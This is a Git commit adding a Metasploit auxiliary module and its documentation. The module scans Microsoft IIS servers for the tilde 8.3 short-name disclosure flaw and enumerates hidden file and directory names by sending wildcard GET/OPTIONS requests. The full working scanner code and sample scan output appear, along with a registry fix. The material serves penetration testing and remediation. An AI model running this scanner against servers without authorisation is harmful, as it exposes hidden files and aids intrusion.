Land #10558, Add IIS ShortName Scanner module

GSoC/Meterpreter_Web_Console
Shelby Pace 2018-11-20 08:26:29 -06:00
commit 679a9cf1ae
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
2 changed files with 335 additions and 0 deletions

View File

@ -0,0 +1,63 @@
## Microsoft IIS shortname vulnerability scanner
The vulnerability is caused by a tilde character `~` in a GET or OPTIONS request, which could allow remote attackers to disclose 8.3 filenames (short names). In 2010, Soroush Dalili and Ali Abbasnejad discovered the original bug (GET request) This was publicly disclosed in 2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
## Vulnerable Application
Older Microsoft IIS installations are vulnerable with GET, newer installations with OPTIONS
## Verification Steps
1. Install IIS (default installations are vulnerable)
2. Start msfconsole
3. Check:
```
msf > use auxiliary/scanner/http/iis_shortname_scanner
msf auxiliary(iis_shortname_scanner) > set 172.16.249.128
msf auxiliary(iis_shortname_scanner) > check
[+] 172.16.249.128:80 The target is vulnerable.
```
4. Scan:
```
msf auxiliary(iis_shortname_scanner) > run
[*] Scanning in progress...
[+] Directories found
http://172.16.249.128/aspnet~1
http://172.16.249.128/secret~1
[+] Files found
http://172.16.249.128/web~1.con
http://172.16.249.128/index~1.htm
http://172.16.249.128/upload~1.asp
http://172.16.249.128/upload~2.asp
[*] Auxiliary module execution completed
```
## Options
```
Module options (auxiliary/scanner/http/iis_shortname_scanner):
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The base path to start scanning from
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
```
## Remediation
Create registry key `NtfsDisable8dot3NameCreation` at `HKLM\SYSTEM\CurrentControlSet\Control\FileSystem`, with a value of `1`
## References
* https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability/
* https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability

View File

@ -0,0 +1,272 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Rex::Proto::Http
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft IIS shortname vulnerability scanner',
'Description' => %q{
The vulnerability is caused by a tilde character "~" in a GET or OPTIONS request, which
could allow remote attackers to diclose 8.3 filenames (short names). In 2010, Soroush Dalili
and Ali Abbasnejad discovered the original bug (GET request). This was publicly disclosed in
2012. In 2014, Soroush Dalili discovered that newer IIS installations are vulnerable with OPTIONS.
},
'Author' =>
[
'Soroush Dalili', # Vulnerability discovery
'Ali Abbasnejad', # Vulnerability discovery
'MinatoTW <shaks19jais[at]gmail.com>', # Metasploit module
'egre55 <ianaustin[at]protonmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://soroush.secproject.com/blog/tag/iis-tilde-vulnerability' ],
[ 'URL', 'https://support.detectify.com/customer/portal/articles/1711520-microsoft-iis-tilde-vulnerability' ]
],
'Targets' => [[ 'Automatic', {} ]]
)
)
register_options([
Opt::RPORT(80),
OptString.new('PATH', [ true, "The base path to start scanning from", "/" ]),
OptInt.new('THREADS', [ true, "Number of threads to use", 20])
])
@dirs = []
@files = []
@threads = []
@queue = Queue.new
@queue_ext = Queue.new
@alpha = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'()-@^_`{}'
@charset_names = []
@charset_extensions = []
@charset_duplicates = []
@verb = ""
@name_size= 6
@path = ""
end
def check
is_vul ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
rescue Rex::ConnectionError
print_bad("Failed to connect to target")
end
def is_vul
@path = datastore['PATH']
for method in ['GET', 'OPTIONS']
# Check for existing file
res1 = send_request_cgi({
'uri' => normalize_uri(@path, '*~1*'),
'method' => method
})
# Check for non-existing file
res2 = send_request_cgi({
'uri' => normalize_uri(@path,'QYKWO*~1*'),
'method' => method
})
if res1 && res1.code == 404 && res2 && res2.code != 404
@verb = method
return true
end
end
return false
rescue Rex::ConnectionError
print_bad("Failed to connect to target")
end
def get_status(f , digit , match)
# Get response code for a file/folder
res2 = send_request_cgi({
'uri' => normalize_uri(@path,"#{f}#{match}~#{digit}#{match}"),
'method' => @verb
})
return res2.code
rescue NoMethodError
print_error("Unable to connect to #{datastore['RHOST']}")
end
def get_incomplete_status(url, match, digit , ext)
# Check if the file/folder name is more than 6 by using wildcards
res2 = send_request_cgi({
'uri' => normalize_uri(@path,"#{url}#{match}~#{digit}.#{ext}*"),
'method' => @verb
})
return res2.code
rescue NoMethodError
print_error("Unable to connect to #{datastore['RHOST']}")
end
def get_complete_status(url, digit , ext)
# Check if the file/folder name is less than 6 and complete
res2 = send_request_cgi({
'uri' => normalize_uri(@path,"#{url}*~#{digit}.#{ext}"),
'method' => @verb
})
return res2.code
rescue NoMethodError
print_error("Unable to connect to #{datastore['RHOST']}")
end
def scanner
while !@queue_ext.empty?
f = @queue_ext.pop
url = f.split(':')[0]
ext = f.split(':')[1]
# Split string into name and extension and check status
status = get_incomplete_status(url, "*" , "1" , ext)
next unless status == 404
next unless ext.size <= 3
@charset_duplicates.each do |x|
if get_complete_status(url, x , ext) == 404
@files << "#{url}*~#{x}.#{ext}*"
end
end
if ext.size < 3
for c in @charset_extensions
@queue_ext << (f + c )
end
end
end
end
def scan
while !@queue.empty?
url = @queue.pop
status = get_status(url , "1" , "*")
# Check strings only upto 6 chars in length
next unless status == 404
if url.size == @name_size
@charset_duplicates.each do |x|
if get_status(url , x , "") == 404
@dirs << "#{url}*~#{x}"
end
end
# If a url exists then add to new queue for extension scan
for ext in @charset_extensions
@queue_ext << ( url + ':' + ext )
@threads << framework.threads.spawn("scanner", false) { scanner }
end
else
@charset_duplicates.each do |x|
if get_complete_status(url, x , "") == 404
@dirs << "#{url}*~#{x}"
break
end
end
if get_incomplete_status(url, "" , "1" , "") == 404
for ext in @charset_extensions
@queue_ext << ( url + ':' + ext )
@threads << framework.threads.spawn("scanner", false) { scanner }
end
elsif url.size < @name_size
for c in @charset_names
@queue <<(url +c)
end
end
end
end
end
def reduce
# Reduce the total charset for filenames by checking if a character exists in any of the files
for c in @alpha.chars
res = send_request_cgi({
'uri' => normalize_uri(@path,"*#{c}*~1*"),
'method' => @verb
})
if res && res.code == 404
@charset_names << c
end
end
end
def ext
# Reduce the total charset for extensions by checking if a character exists in any of the extensions
for c in @alpha.chars
res = send_request_cgi({
'uri' => normalize_uri(@path,"*~1.*#{c}*"),
'method' => @verb
})
if res && res.code == 404
@charset_extensions << c
end
end
end
def dup
# Reduce the total charset for duplicate files/folders
array = [*('1'..'9')]
array.each do |c|
res = send_request_cgi({
'uri' => normalize_uri(@path,"*~#{c}.*"),
'method' => @verb
})
if res && res.code == 404
@charset_duplicates << c
end
end
end
def run
unless is_vul
print_status("Target is not vulnerable, or no shortname scannable files are present.")
return
end
unless @path.end_with? '/'
@path += '/'
end
print_status("Scanning in progress...")
@threads << framework.threads.spawn("reduce_names",false) { reduce }
@threads << framework.threads.spawn("reduce_duplicates",false) { dup }
@threads << framework.threads.spawn("reduce_extensions",false) { ext }
@threads.each(&:join)
for c in @charset_names
@queue << c
end
datastore['Threads'].times {
@threads << framework.threads.spawn("scanner", false) { scan }
}
Rex.sleep(1) until @queue_ext.empty?
@threads.each(&:join)
proto = datastore['SSL'] ? 'https' : 'http'
if @dirs.empty?
print_status("No directories were found")
else
print_good("Found #{@dirs.size} directories")
@dirs.each do |x|
print_line("#{proto}://#{datastore['RHOST']}#{@path}#{x}")
end
end
if @files.empty?
print_status("No files were found")
else
print_good("Found #{@files.size} files")
@files.each do |x|
print_line("#{proto}://#{datastore['RHOST']}#{@path}#{x}")
end
end
end
end